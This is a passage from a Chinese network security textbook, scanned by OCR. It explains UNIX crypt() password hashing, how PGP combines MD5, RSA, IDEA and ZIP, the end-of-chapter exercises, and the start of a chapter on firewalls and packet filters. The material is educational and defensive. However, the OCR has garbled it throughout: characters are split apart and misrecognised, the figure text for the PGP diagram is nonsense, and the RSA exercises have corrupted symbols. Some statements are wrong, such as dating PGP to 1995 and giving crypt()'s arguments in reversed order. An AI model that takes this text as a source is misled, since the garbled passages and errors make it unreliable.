对 其 访问 的 只 能 是 特权 用 户 和 操作 系统 的 一 些 应 用 程序 。 但 是 在 一 些 错误 情况 下 ,这 些 信 
息 可 以 被 非特 权 用 户 得 到 ,进而 可 以 使 用 一 些 口令 破解 的 工具 去 得 到 加 密 前 的 口令 。 

UNIX 系统 使 用 一 个 单 向 函数 crypt() 来 加 密 用 户 的 口令 。 单 向 函数 crypt() 从 数学 原 
理 上 保证 了 从 加 密 的 密 文 得 到 加 密 前 的 明文 是 不 可 能 的 或 是 非常 困难 的 。 当 用 户 登 录 时 ， 
系统 并 不 是 去 解密 已 加 密 的 口令 ,而 是 将 输入 口令 的 明文 字 串 传 给 加 密 函 数 ,将 加 密 函 数 的 
输出 与 系统 中 存放 的 用 户 原来 输入 并 已 加 密 的 口令 相 比较 ,如 果 是 匹配 的 , 则 人 允许 用 户 登 录 
系统 。 

这 种 方式 的 安全 来 自 加 密 函 数 的 强度 和 猜测 口令 的 难度 。 现 在 ,crypt() 函 数 的 算法 已 
被 证 实 足 以 对 付 可 能 的 进攻 。 但 是 用 户 常 选择 一 些 容易 猜测 的 口令 ,给 入 侵 者 开 了 方便 
之 们 。 

crypt() 的 加 密 算 法 是 基于 数据 加 密 标 准 DES 的 ,DES 属于 分 组 密码 体制 。 在 正常 的 
操作 中 ,DES 使 用 一 个 56 位 的 密 钥 键 值 ,去 加 密 一 个 64 位 的 明文 块 。 加 密 的 输出 是 一 
64 位 的 密 文 ,在 没有 密 钥 的 情况 下 不 可 能 通过 解密 得 到 原来 的 明文 。 

UNIX 系统 的 crypt() 将 用 户 输 入 的 口令 作为 加 密 的 键 值 ,使 用 它 去 加 密 一 个 64 位 的 
0 和 1 串 。 加 密 的 结果 又 用 用 户 的 口令 再 加 密 一 次 。 重 复 这 个 过 程 , 一 共 进 行 25 次 。 最 后 
的 输出 为 一 个 11 字符 长 的 可 打印 串 ,存放 在 /etc/passwd 文件 中 。 

UNIX 系统 使 用 的 加 密 函 数 语 法 格式 如 下 : 


Char * crypt (char * salt,char* passwd) 


。73。 


salt 是 一 个 12 位 长 的 数字 , 取 值 范围 为 0 到 4095 , 它 略 改变 了 DES 的 输出 。4096 个 值 
的 使 用 使 同一 个 口令 产生 不 同 的 输出 。 当 改变 口令 时 ,系统 选择 当天 的 一 个 时 间 ,得 到 一 个 
salt 数值 。 这 个 salt 被 存放 在 加 密 口 令 的 最 前 面 。 因 此 ,口令 文件 存放 的 密 文 口令 是 13 个 
字符 。 使 用 salt 意味 着 同一 个 口令 ,可 以 产生 4096 个 不 同 的 值 。 


2.12.2 电子 邮件 PGP 加 密 系统 * 


PGP(pretty good privacy) ,是 一 个 基于 RSA 公开 密 钥 加 密 体系 和 传统 加 密 体 系 杂 合 
的 邮件 加 密 软 件 包 。 可 以 用 它 对 邮件 加 密 以 防止 非 授 权 者 阅读 , 它 还 能 对 邮件 加 上 数字 签 
名 从 而 使 收 信人 可 以 确认 邮件 的 发 送 者 ,并 能 确信 和 邮件 没有 被 算 改 。 它 可 以 提供 一 种 安全 
的 通信 方式 ,而 事先 并 不 需要 任何 保密 的 渠道 来 传递 密 匙 。 它 采用 了 一 种 RSA 和 传统 加 密 的 
杂 合 算法 ,用 于 数字 签名 的 邮件 文摘 算法 和 加 密 前 压缩 等 保密 手段 ,还 有 一 个 良好 的 人 机 工程 
设计 。 它 的 功能 强大 ,有 很 快 的 速度 ,而 且 它 的 源 代码 是 免费 的 ,可 以 从 Internet 网 上 下 载 。 

实际 上 PGP 的 功能 还 包括 : PGP 可 以 用 来 加 密 文件 ,还 可 以 用 PGP 代替 UUencode 
生成 RADIX 64 格式 (就 是 MIME 的 BASE 64 格式 ) 的 编码 文件 。 

PGP 是 由 美国 的 Phil Zimmermann 于 1995 年 开发 的 。 他 的 创造 性 在 于 他 把 RSA 公 
开 密 钥 加 密 体系 的 方便 和 传统 加 密 体系 的 高 速度 结合 起 来 ,并 且 在 数字 签名 和 密 钥 认证 管 
理 机 制 上 有 巧妙 的 设计 。 因 此 PGP 成 为 几乎 最 流行 的 公开 密 钥 加 密 软 件 包 。 

PGP 并 没有 使 用 新 的 加 密 算法 , 它 只 是 将 现 有 的 一 些 算法 如 MD5,RSA 和 IDEA 等 综 
合 而 已 。 用 户 A 向 用 户 B 发 送 一 个 邮件 P, 用 PGP 进行 加 密 , 假 设 A 和 B 都 有 自己 的 SK。 
和 SKs 以 及 知道 对 方 的 公开 密 钥 PKA 和 PKs。 如 图 2-16 所 示 , 其 工作 原理 如 下 。 


加 密 后 的 密 铀 K 与 加 密 后 的 
报 文 P1.Z 拼 接 在 一 起 


拼接 拼接 
邮件 报 文 P [MD5 生 法 |vDS(CP[RSA | 博 要 密 文 H_(CX) PL [zip 太太 PLZ[IDEA] (x) | PS 
| | 


摘要 算法 用 密 钥 SKA 用 密 钥 K 放 
生成 邮件 摘要 ”加 密 报 文摘 密 报 文 P1.Z 一 | RSA I 
用 密 钥 PK 


图 2-16 ”PGP 工作 原理 


在 PGP 中 ,邮件 P 由 用 户 A 使 用 MD5 算法 生成 128 位 的 “邮件 文摘 ” (message 
digest) “邮件 文摘 ”再 通过 RSA 算法 用 用 户 A 的 私有 密 钥 SKs 进行 加 密 得 出 H。 邮 件 
P 与 加 密 的 * 邮 件 文摘 ”H 拼接 在 一 起 生成 报 文 P1 ,再 经 过 压缩 ZIP 程序 压缩 后 ,得 出 P1. Z。 

接着 对 报 文 P1.Z 采用 IDEA 算法 加 密 , 使 用 的 是 一 次 采用 一 个 临时 加 密 密 钥 , 即 
128 位 的 K。 此 外 , 密 铀 K 必须 经 过 RSA 算法 ,使 用 B 的 公开 密 钥 PKs 加 密 。 加 密 后 的 密 
钥 与 加 密 后 的 报 文 Pl. Z 拼接 在 一 起 ,用 BASE64 进行 编码 ,编码 的 目的 是 得 出 ASCII 
码 的 文本 (只 包含 字母 ,数字 和 十 ,/, 一 等 文本 符号 ) 发 送 到 网 络 上 。 

在 接收 端 ,用 户 收 到 加 密 的 邮件 后 , 先 对 BASE64 进行 解码 ,并 用 其 RSA 算法 和 自己 
的 秘密 密 钥 SKs 解 出 IDEA 的 密 钥 K。 用 此 密 钥 恢 复出 P1.Z。 对 P1.Z 进行 解压 后 ,还 原 
出 P1。B 接着 分 开明 文 P 和 加 了 密 的 “邮件 文摘 ”, 并 用 A 的 公开 密 铀 PK 解 出 “邮件 文 
摘 ”"。 比 较 解 出 的 “邮件 文摘 "与 B 自己 计算 生成 的 “邮件 文摘 ”是否 一 致 ,车 一 致 则 可 认为 
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P 是 从 A 发 来 的 邮件 。 

PGP 加 密 系 统 是 采用 公开 密 钥 加 密 与 传统 密 钥 加 密 相 结合 的 一 种 加 密 技 术 。 它 使 用 
一 对 数学 上 相关 的 钥匙 ,其 中 一 个 (公开 密 钥 ) 用 来 加 密 信息 , 另 一 个 (秘密 密 钥 ) 用 来 解密 
信息 。 

PGP 采用 的 传统 加 密 技术 部 分 所 使 用 的 密 钥 称 为 “会 话 密 钥 ”"。 每 次 使 用 时 ,PGP 都 随 
机 产生 一 个 128 位 的 IDEA 会 话 密 钥 ,用 来 加 密 报 文 。 公 开 密 钥 加 密 技 术 中 的 公开 密 钥 和 
秘密 密 钥 则 用 来 加 密会 话 密 钥 ,并 通过 它 间 接地 保护 报 文 内 容 。 

PGP 把 公开 密 钥 和 秘密 密 钥 存放 在 密 钥 环 (KEYR) 文 件 中 。PGP 提供 有 效 的 算法 查 
找 用 户 需 要 的 密 钥 。 

PGP 在 多 处 需要 用 到 口令 , 它 主要 起 到 保护 秘密 密 钥 的 作用 。 由 于 秘密 密 钥 太 长 且 无 
规律 ,所 以 难以 记忆 。PGP 把 它 用 口令 加 密 后 存 人 密 钥 环 ,这样 用 户 可 以 用 易 记 的 口令 间 
接 使 用 秘密 密 钥 。 

PGP 的 每 个 秘密 密 钥 都 由 一 个 相应 的 口令 加 密 。PGP 主要 在 3 处 需要 用 户 输入 口令 : 

(1) 需要 解 开 收 到 的 加 密 信息 时 ,PGP 需要 用 户 输入 口令 ,取出 秘密 密 钥 解密 信息 。 

(2) 当 用 户 需 要 为 文件 或 信息 签字 时 ,用 户 输入 口令 ,取出 秘密 密 钥 加 密 。 

(3) 对 磁盘 上 的 文件 进行 传统 加 密 时 ,需要 用 户 输入 口令 。 

上 面 所 说 的 是 关于 公开 密 钥 的 安全 性 问题 ,这 是 PGP 安全 的 核心 。 另 外 ,和 传统 加 密 
对 称 密 钥 体 系 一 样 ,秘密 密 钥 的 保密 也 是 决定 性 的 。 相 对 公开 密 钥 而 言 ,秘密 密 钥 不 存在 被 
算 改 的 问题 ,但 存在 泄露 的 问题 。RSA 的 秘密 密 钥 是 很 长 的 一 个 数字 ,用 户 不 可 能 将 它 记 
住 ,PGP 的 办 法 是 让 用 户 为 随机 生成 的 RSA 秘密 密 钥 指 定 一 个 口令 (pass phase)。 只 有 通 
过 给 出 口令 才能 将 秘密 密 钥 释放 出 来 使 用 ,用 口令 加 密 秘 密 密 钥 的 方法 保密 程度 和 PGP 本 
身 是 一 样 的 。 所 以 秘密 密 钥 的 安全 性 问题 实际 上 首先 是 对 用 户口 令 的 保密 。 当 然 秘密 密 钥 
文件 本 身 失 密 也 很 危险 ,因为 破译 者 所 需要 的 只 是 用 穷 举 法 (强力 攻击 ) 试 探 出 口令 ,虽说 很 
困难 但 毕 竞 是 损失 了 一 层 安全 性 。 需 要 说 明 的 是 : 最 好 不 要 把 秘密 密 钥 写 在 纸 上 或 者 某 一 
文件 里 ,因为 这 样 很 容易 被 别人 得 到 。 

PGP 在 安全 性 问题 上 的 审慎 考虑 体现 在 PGP 的 各 个 环节 。 比 如 每 次 加 密 的 实际 密 钥 
是 个 随机 数 , 大 家 都 知道 计算 机 是 无 法 产生 真正 的 随机 数 的 。PGP 程序 对 随机 数 的 产生 是 
很 审慎 的 ,关键 的 随机 数 像 RSA 密 钥 的 产生 是 从 用 户 斋 键盘 的 时 间 间 隔 上 取得 随机 数 种 子 
的 。 对 于 使 用 磁盘 上 的 randseed. bin 随机 文件 是 采用 和 邮件 同样 强度 密 钥 加 密 的 ,这 有 效 
地 防止 了 他 人 从 randseed. bin 随机 文件 中 分 析出 实际 加 密 密 钥 的 规律 来 。 

最 后 提 一 下 PGP 加 密 前 的 预 压缩 处 理 ,PGP 内 核 使 用 PKZIP 算法 来 压缩 加 密 前 的 明 
文 。 一 方面 对 电子 邮件 而 言 ,压缩 后 加 密 再 经 过 7 位 编码 密 文 有 可 能 比 明文 更 短 ,这 就 节省 
了 网 络 传 输 的 时 间 。 另 一 方面 ,明文 经 过 压缩 ,实际 上 相当 于 经 过 一 次 变换 ,信息 更 加 杂乱 
无 章 , 对 明文 攻击 的 抵御 能 力 更 强 。PKZIP 算法 是 一 个 公认 的 压缩 率 和 压缩 速度 都 相当 好 
的 压缩 算法 。 在 PGP 中 使 用 的 是 PKZIP 2.0 版 本 兼容 的 算法 。 


2.13 本 章 小 结 
本 章 着 重 介 绍 了 密码 技术 中 的 多 种 加 密 技 术 的 特点 、 算 法 等 基本 概念 。 同 时 ,还 介绍 了 


在 计算 机 网 络 系统 中 的 数据 加 密 方 式 : 链 路 加 密 .节点 加 密 和 端 - 端 加 密 。 
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在 计算 机 网 络 中 ,使 用 密码 技术 不 仅 可 以 保证 信息 的 机 密 性 ,而 且 可 以 保证 信息 的 完整 
性 和 确认 性 ,防止 信息 被 自 改 、 伪 造 或 假冒 。 本 章 就 有 关 密 人 码 技术 介绍 了 几 种 数据 加 密 方 
法 。 传 统 的 加 密 方 法 主要 有 替代 密码 、 换 位 密码 ;在 对 称 密 钥 加 密 体 系 中 ,经 典 算法 为 数据 
加 密 标准 DES 算法 和 三 重 DES 算法 ,AES 算法 为 高 级 加 密 标准 ;在 公开 密 钥 加 密 体系 中 
RSA 算法 使 用 得 较 多 ,椭圆 加 密 算法 也 有 和 较 大 的 应 用 领域 ;一 般 数 字 签名 和 报 文 鉴别 则 使 
用 了 公开 密 钥 加 密 体 系 等 密码 技术 。 

另外 ,本 章 还 介绍 了 UNIX 系统 中 用 户 的 口令 验证 中 的 有 关 密 码 技术 和 邮件 加 密 软件 
包 PGP 系统 的 工作 原理 。 


练 习 题 


基础 练习 题 


. 什么 是 数据 加 密 ? 简 述 加 密 和 解密 的 过 程 。 
. DES 算法 主要 有 哪 几 部 分 ? 
. DES 算法 中 , 密 文 的 生成 主要 分 哪 几 步 ? 
. 简 述 DES 算法 加 密 函 数 了 的 计算 过 程 。 
. 简 述 DES 算 法 中 的 依次 迭代 过 程 。 
. 简 述 DES 算法 和 RSA 算法 其 保密 的 关键 所 在 。 
. 说 明 公开 密 钥 体制 实现 数字 签名 的 过 程 。 
. 简 述 在 计算 机 网 络 中 使 用 密码 技术 的 必要 性 。 
. 链 路 加 密 .节点 加 密 和 端 - 端 加 密 各 有 何 特点 ? 
10. 在 UNIX 系统 中 口令 使 用 了 哪些 密码 技术 ? 能 和 否 破解 口令 密码 ? 
11. 在 电子 邮件 PGP 系统 中 使 用 了 哪些 密码 技术 ? 
实践 题 
1. 用 费 杰 尔 密 码 算 法 加 密 下 段 文字 : COMPUTER ORACLE AND PASSWORD 
SYSTEM , 密 钥 为 SECURITY 。 
2. 使 用 RSA 公开 密 钥 体 制 进行 加 密 。 设 < 王 1,0 王 2 ,等 等 。 
(1) 若 p=7 而 =11, 试 列 出 5 个 有 效 的 e。 
(2) 车 p= 二 13 而 g 二 31, 问 4d 是 多 少 ? 
(3) 若 p=5 而 g=11,d 一 27, 试 求 e, 并 将 “abcdedghij” 进 行 加 密 。 


‘O00 ~ 


讨论 与 思考 题 * 
1. 常规 密 钥 体制 与 公开 密 钥 体 制 特点 如 何 ? 各 有 何 优 缺 点 ? 


2. 实现 公开 密 钥 体制 的 主要 条 件 是 什么 ? 
3. 如 何 选择 RSA 算法 的 密 钥 ? 
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第 3 章 ”防火 墙 技术 


随 着 计算 机 网 络 广泛 应 用 于 政治 、 军 事 、 经 济 和 科学 技术 各 个 领域 ,数据 在 存储 和 传输 
过 程 中 可 能 被 窃听 、 暴 露 或 算 改 ,网 络 系统 和 应 用 软件 也 可 能 遭受 黑客 的 恶意 程序 的 攻击 而 
使 网 络 次 病 。 因 此 ,计算 机 网 络 的 安全 非常 重要 。 

在 计算 网 络 的 安全 中 ,保护 网 络 数据 和 程序 等 资源 ,以 免 受到 有 意 或 无 意 地 破坏 或 越权 
修改 与 占用 , 称 为 访问 控制 技术 。 实 现 访问 控制 技术 最 好 的 办 法 就 是 有 一 个 好 的 安全 策略 ， 
在 这 个 安全 策略 上 使 用 防火 墙 技术 。 

为 实现 网 络 安全 ,必须 了 解 防火 墙 技术 的 体系 结构 ,同时 掌握 常见 的 防火 墙 设备 的 配置 
方法 

本 章 的 主要 内 容 有 : 

。 防火 墙 的 定义 ; 
防火 墙 的 功能 与 作用 ; 
防火 墙 的 类 型 
防火 墙 的 配置 ; 
防火 墙 的 实现 策略 ; 
防火 墙 的 选择 原则 ; 

Windows 自 带 防火 墙 和 卡巴 斯 基 个 人 防火 墙 的 使 用 。 


3.1 防火 墙 概述 


3.1.1 什么 是 防火 墙 


古 时 候 , 人 们 常 在 富 所 之 间 砌 起 一 道 砖 墙 ,一 旦 火灾 发 生 , 它 能 够 防止 火势 莺 延 到 别 的 
寅 所。 现在 ,如 果 一 个 网 络 接 到 了 Internet 上 面 , 它 的 用 户 就 可 以 访问 外 部 世界 并 与 之 通 
信 。 但 同时 ,外 部 世界 也 同样 可 以 访问 该 网 络 并 与 之 交互 。 为 安全 起 见 ,可 以 在 该 网 络 和 
Internet 之 间 插 入 一 个 中 介 系 统 , 竖 起 一 道 安全 屏障 。 这 道 屏障 的 作用 是 阻 断 来 自 外 部 通 
过 网 络 对 本 网 络 的 威胁 和 入 侵 ,提供 扼守 本 网 络 的 安全 和 审计 的 唯一 关卡 , 它 的 作用 与 古 时 
候 的 防火 砖 墙 有 类 似 之 处 ,因此 把 这 个 屏障 就 叫做 “防火 墙 ”", 如 图 3-1 所 示 。 

在 网 络 中 ,防火 墙 是 一 种 用 来 加 强 网 络 之 间 访 问 控 制 的 特殊 网 络 互 连 设备 ,如 路 由 器 、 
网 关 等 。 它 对 两 个 或 多 个 网 络 之 间 传 输 的 数据 包 和 连接 方式 按照 一 定 的 安全 策略 进行 检 
查 , 以 决定 网 络 之 间 的 通信 是否 被 允许 。 其 中 被 保护 的 网 络 称 为 内 部 网 络 , 男 一 方 则 称 为 外 
部 网 络 或 公用 网 络 。 它 能 有 效 地 控制 内 部 网 络 与 外 部 网 络 之 间 的 访问 及 数据 传送 ,从 而 达 
到 保护 内 部 网 络 的 信息 不 受 外 部 非 授权 用 户 的 访问 和 过 滤 不 良 信息 的 目的 。 

防火 墙 是 一 个 或 一 组 在 两 个 网 络 之 间 执 行 访问 控制 策略 的 系统 ,包括 硬件 和 软件 ,目的 
是 保护 网 络 不 被 可 疑 人 侵扰 。 本 质 上 , 它 遵 从 的 是 一 种 允许 或 阻止 业务 来 往 的 网 络 通信 安 
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图 3-1 防火 墙 在 网 络 中 的 位 置 


全 机 制 ,也 就 是 提供 可 控 的 过 滤 网 络 通信 ,只 允许 授权 的 通信 。 

通常 ,防火 墙 就 是 位 于 内 部 网 或 Web 站 点 与 Internet 之 间 的 一 个 路 由 器 或 一 台 计 算 
机 ,又 称 为 堡 艰 主 机 。 其 目的 如 同一 个 安全 门 ,为 门 内 的 部 门 提供 安全 ,控制 那些 可 被 允许 
出 入 该 受 保护 环境 的 人 或 物 。 就 像 工作 在 前 门 的 安全 卫士 ,控制 并 检查 站 点 的 访问 者 。 


3.1.2 防火 墙 的 功能 


防火 墙 是 由 管理 员 为 保护 自己 的 网 络 免 遭 外 界 非 授 权 访 问 但 又 允许 与 Internet 连接 而 
发 展 起 来 的 。 从 网 际 角度 来 说 ,防火 墙 可 以 被 看 成 是 安装 在 两 个 网 络 之 间 的 一 道 栅栏 ,根据 
安全 计划 和 安全 策略 中 的 定义 来 保护 其 后 面 的 网 络 。 

由 软件 和 硬件 组 成 的 防火 墙 应 该 具有 以 下 功能 : 

(1) 所 有 进出 网 络 的 通信 流 都 应 该 通过 防火 墙 。 

(2) 所 有 穿 过 防火 墙 的 通信 流 都 必须 有 安全 策略 和 计划 的 确认 和 授权 。 

(3) 理论 上 说 ,防火 墙 是 穿 不 透 的 。 

利用 防火 墙 能 保护 站 点 不 被 任意 连接 ,甚至 能 建立 跟踪 工具 ,帮助 总 结 并 记录 有 关 正 在 
进行 的 连接 资源 、 服 务 器 提供 的 通信 和 量 以 及 试图 问 入 者 的 任何 企图 。 

总 之 ,防火 墙 是 阻止 外 面 的 人 对 你 的 网 络 进行 访问 的 任何 设备 ,此 设备 通常 是 软件 和 硬 
件 的 组 合体 , 它 通常 根据 一 些 规则 来 挑选 想 要 或 不 想 要 的 地 址 。 

随 着 Internet 上 越 来 越 多 的 用 户 要 访问 Web, 运 行 例 如 TELNET,FTP 和 Internet 
Mail 之 类 的 服务 ,系统 管理 者 和 LAN 管理 者 必须 能 够 在 提供 访问 的 同时 ,保护 他 们 的 内 部 
网 ,不 给 冯 和 者 留 有 可 乘 之 机 。 

防火 墙 需要 防范 的 3 种 基本 进攻 如 下 : 

(1) 间谍 : 试图 偷 走 敏 感 信息 的 黑客 ,入侵 者 和 间 和 者。 

(2) 盗窃 : 盗 穷 对 象 包括 数据 、Web 表格 .磁盘 空间 .CPU 资源 .连接 等 。 

(3) 破坏 系统 : 通过 路 由 器 或 主机 /服务 器 蓄意 破坏 文件 系统 或 阻止 授权 用 户 访问 内 
部 网 (外 部 网 ) 和 服务 器 。 

这 里 防火 墙 的 作用 是 保护 Web 站 点 和 公司 的 内 部 网 ,使 之 免 遭 Internet 上 各 种 危险 的 
侵犯 。 

典型 的 防火 墙 建 立 在 一 个 服务 器 /主机 机 器 上 , 亦 称 “堡垒 ”, 是 一 个 多 边 协 议 路 由 器 。 
这 个 堡垒 由 两 个 网 络 连接 : 一 边 与 内 部 网 相连 , 男 一 边 与 Internet 相连 。 它 的 主要 作用 除 
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了 防止 未 经 授权 的 或 来 自 对 Internet 访问 的 用 户外 ,还 应 包括 为 安全 管理 提供 详细 的 系统 
活动 记录 。 在 有 的 配置 中 ,这 个 堡垒 主机 经 常 作为 一 个 公共 Web 服务 器 或 一 个 FTP 或 正 
mail 服务 器 使 用 。 

通过 在 防火 墙 上 运行 的 专门 HTTP 服务 器 ,可 使 用 “代理 ”服务 器 ,以 访问 防火 墙 男 一 
边 的 Web 服务 器 。 

防火 墙 的 基本 目的 之 一 就 是 防止 黑客 侵扰 站 点 。 网 络 站 点 经 常 暴露 于 无 数 威胁 之 中 ， 
而 防火 墙 可 以 帮助 防止 外 部 连接 。 此 外 ,还 应 小 心 局 域 网 内 的 非法 MODEM 连接 ,特别 是 
当 Web 服务 器 在 受 保护 的 局 域内 时 。 

当 Web 站 点 置 于 内 部 网 中 时 ,也 要 提防 内 部 袭击 。 对 于 这 种 情况 ,防火 墙 几 乎 无 用 。 
例如 , 若 一 个 心怀 不 满 的 雇员 拔 掉 Web 服务 器 的 插头 ,将 其 关闭 ,防火 墙 将 对 此 无 能 为 力 。 
防火 墙 不 是 万 无 一 失 的 ,其 目的 只 是 加 强 安全 性 ,而 不 是 保证 安全 。 


3.1.3 防火 墙 的 优点 


防火 墙 能 够 做 什么 呢 ? 下 面 来 讨论 这 个 问题 。 

1. 防火 墙 能 强化 安全 策略 

因为 在 Internet 上 每 天 都 有 上 百 万 的 人 浏览 和 交换 信息 ,所 以 不 可 避免 地 会 出 现 个 别 
品德 不 良 或 违反 Internet 规则 的 人 。 防 火 墙 是 为 了 防止 不 良 现象 发 生 的 “交通 警察 ”, 它 执 
行 网 络 的 安全 策略 ,仅仅 允许 经 许可 的 、 符 合 规则 的 请 求 通过 。 

2. 防火 墙 能 有 效 地 记录 Internet 上 的 活动 

因为 所 有 进出 内 部 网 信息 都 必须 通过 防火 墙 , 所 以 防火 墙 非常 适用 收集 网 络 信息 。 作 
为 网 间 访 问 的 唯一 通路 ,防火 墙 能 够 记录 内 部 网 络 和 外 部 网 络 之 间 发 生 的 所 有 事件 。 

3. 防火 墙 可 以 实现 网 段 控制 

防火 墙 能 够 用 来 隔 开 网 络 中 某 一 个 网 段 , 这 样 它 就 能 够 有 效 地 控制 这 个 网 段 中 的 问题 
在 整个 网 络 中 的 传播 。 

4. 防火 墙 是 一 个 安全 策略 的 检查 站 

所 有 进出 网 络 的 信息 都 必须 通过 防火 墙 ,这 样 防火 墙 便 成 为 一 个 安全 检查 点 ,把 所 有 可 
疑 的 访问 拒 之 门 外 。 


3.1.4 防火墙 的 特性 


一 个 好 的 防火 墙 系统 应 具有 以 下 3 方面 的 特性 。 

。 所 有 在 内 部 网 络 和 外 部 网 络 之 间 传 输 的 数据 必须 通过 防火 墙 。 

。 只 有 被 授权 的 合法 数据 即 防 火 墙 系统 中 安全 策略 允许 的 数据 可 以 通过 防火 墙 。 

。 防火 墙 本 身 不 受 各 种 攻击 的 影响 。 

同时 ,防火 墙 应 具有 的 基本 准则 如 下 : 

(1) 过 滤 不 安全 服务 。 

基于 这 个 准则 ,防火 墙 应 封锁 所 有 信息 流 , 然 后 对 希望 提供 的 安全 服务 逐 项 开放 ,把 不 
安全 的 服务 或 可 能 有 安全 隐患 的 服务 一 律 扼 杀 在 萌芽 之 中 。 这 是 一 种 非常 有 效 而 实用 的 方 
法 ,只 有 经 过 仔细 挑选 的 服务 才能 允许 用 户 使 用 ,从 而 形成 十 分 安全 的 网 络 环境 。 

(2) 过 滤 非 法 用 户 和 访问 特殊 站 点 。 

基于 这 个 准则 ,防火 墙 应 先 允 许 所 有 的 用 户 和 站 点 对 内 部 网 络 进行 访问 ,然后 网 络 管理 

。79 。 


员 按照 IP 地 址 对 未 授权 的 用 户 或 不 信任 的 站 点 进行 逐 项 屏蔽 。 这 种 方法 构成 了 一 种 更 为 
灵活 的 应 用 环境 ,网 络 管理 员 可 以 针对 不 同 的 服务 面向 不 同 的 用 户 开 放 , 也 就 是 能 自由 地 设 
置 各 个 用 户 的 不 同 访问 权限 。 


3.1.5 防火 墙 的 缺点 


前 面 介绍 了 防火 墙 的 优点 ,同时 它 也 存在 一 些 缺 点 。 

1. 防火 墙 不 能 防范 恶意 的 知情 者 

防火 墙 可 以 禁止 用 户 通 过 网 络 传输 机 密 信 息 , 但 用 户 可 以 不 通过 网 络 ,比如 将 数据 复制 
到 磁盘 或 磁带 上 ,然后 放 在 公文 包 中 带 出 去 。 如 果 入 侵 者 是 在 防火 墙 内 部 ,那么 它 也 是 无 能 
为 力 的 。 内 部 用 户 可 以 不 通过 防火 墙 而 偷窃 数据 破坏 硬 件 和 软件 等 。 对 于 内 部 的 威胁 只 
能 通过 加 强 管 理 来 防范 ,如 主机 安全 防范 和 用 户 教育 等 。 

2. 防火 墙 不 能 防范 不 通过 它 的 连接 

防火 墙 能 够 有 效 地 防止 通过 它 进行 信息 传输 ,但 它 不 能 防止 不 通过 它 的 信息 传输 。 例 
如 ,如 果 人 允许 对 防火 墙 后 面 的 内 部 系统 进行 拨号 访问 ,那么 防火 墙 绝对 没有 办 法 阻止 人 侵 者 
进行 拨号 人 侵 。 

3. 防火 墙 不 能 防止 利用 标准 网 络 协议 中 的 缺陷 进行 的 攻击 

一 旦 防火 墙 允 许 某 些 标准 网 络 协议 ,就 不 能 防止 利用 协议 缺陷 的 攻击 ,如 DoS(denial 
of service, 拒 绝 服 务 ) 或 者 DDoS(distributed denial of service, 分 布 式 拒绝 服务 ) 进行 的 

4. 防火 墙 不 能 防范 病毒 

防火 墙 不 能 防范 网 络 上 或 PC 中 的 病毒 。 虽 然 许 多 防火 墙 可 以 扫描 所 有 通过 它 的 信 
息 , 以 决定 是 否 允 许 它 通过 ,但 这 种 扫描 是 针对 源 地 址 、 目 标 地 址 和 端口 号 ,而 不 是 数据 的 具 
体内 容 。 即 使 是 先进 的 数据 包 过 滤 系 统 , 也 难以 防范 病毒 ,因为 病毒 的 种 类 太 多 ,而 且 病 毒 
可 以 通过 许多 种 手段 隐藏 在 数据 中 。 

防火 墙 要 检测 随机 数据 中 的 病毒 十 分 困难 , 它 要 求 : 

(1) 确认 数据 包 是 程序 的 一 部 分 。 

(2) 确定 程序 的 功能 。 

(3) 确定 病毒 引起 的 改变 。 

事实 上 ,大 多 数 防 火 墙 采用 不 同 的 方式 来 保护 不 同类 型 的 机 器 。 当 数据 在 网 络 上 进行 
传输 时 ,要 被 打包 并 经 常 被 压缩 ,这样 便 给 病毒 带 来 了 可 乘 之 机 。 无 论 防火 墙 是 多 么 安全 ， 
用 户 只 能 在 防火 墙 后 面 清除 病毒 。 

5. 防火 墙 不 能 防备 全 部 的 威胁 

防火 墙 被 用 来 防备 已 知 的 威胁 ,一 个 很 好 的 防火 墙 设计 方案 可 以 防备 新 威胁 ,但 没有 一 
个 防火 墙 能 自动 地 防御 所 有 新 的 威胁 。 


3.2 防火 墙 的 分 类 
目前 ,根据 防火 墙 在 ISO/OSI 模型 中 的 逻辑 位 置 和 网 络 中 的 物理 位 置 及 其 所 具备 的 功 


能 ,可 以 将 其 分 为 两 大 类 , 即 基 本 型 防火 墙 和 复合 型 防火 墙 。 基 本 型 防火 墙 有 包 过 滤 路 由 器 
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和 应 用 型 防火 墙 两 种 。 复 合 防火 墙 将 以 上 两 种 基本 型 防火 墙 结合 使 用 ,主要 包括 主机 屏蔽 
防火 墙 . 子 网 屏蔽 防火 墙 和 分 布 式 防火 墙 。 
下 面 对 这 5 种 防火 墙 进行 论述 。 


3.2.1 包 过 滤 路 由 器 


包 过 滤 路 由 器 (packet filters) 在 一 般 路 由 器 的 基础 上 增加 了 一 些 新 的 安全 控制 功能 ， 
是 一 个 检查 通过 它 的 数据 包 的 路 由 器 。 包 过 滤 路 由 器 的 标准 由 网 络 管理 员 在 网 络 访问 控制 
表 (access control list) 中 设 定 ,以 检查 包 的 源 地 址 .目的 地 址 及 每 个 卫 包 的 端口 。 它 是 在 
7 层 协议 的 下 3 层 中 实现 的 , 包 的 类 型 可 以 拦截 和 登录 ,因此 ,此 类 防火 墙 易 于 实现 对 用 户 
透明 的 访问 , 且 费 用 较 低 ,如 图 3-2 所 示 。 但 包 过 滤 路 由 器 无 法 有 效 地 区 分 同一 IP 地 址 的 
不 同 用 户 , 因 此 安全 性 较 差 。 


图 3-2 ”使 用 包 过 滤 路 由 器 进行 数据 包 过 滤 


防火 墙 通常 就 是 一 个 具备 包 过 滤 功 能 的 简单 路 由 器 ,支持 Internet 安全 。 这 是 使 
Internet 连接 更 加 安全 的 一 种 简单 方法 ,因为 包 过 滤 是 路 由 器 的 固有 属性 。 

包 是 网 络 上 信息 流动 的 单位 。 在 网 上 传输 的 文件 一 般 在 发 出 端 被 划分 成 一 串 数据 包 ， 
经 过 网 上 的 中 间 站 点 ,最 终 传 到 目的 地 ,然后 这 些 数据 包 中 的 数据 又 重新 组 成 原来 的 文件 。 

每 个 数据 包 有 两 个 部 分 : 数据 部 分 和 包头 。 包 头 中 含有 源 地 址 和 目标 地 址 等 信息 。 

包 过 滤 一 直 是 一 种 简单 而 有 效 的 方法 ,通过 拦截 数据 包 , 读 出 并 拒绝 那些 不 符合 标准 的 
包头 ,过 滤 掉 不 应 人 站 的 信息 。 

包 过 滤器 又 称 为 筛选 路 由 器 , 它 通 过 将 包头 信息 和 管理 员 设 定 的 规则 表 比 较 , 如 果 有 一 
条 规则 不 允许 发 送 某 个 包 ,路 由 器 将 它 丢弃 。 

包 过 滤 规 则 一 般 基 于 部 分 的 或 全 部 的 包头 信息 ,例如 对 于 TCP 包头 信息 为 : 卫 协议 类 
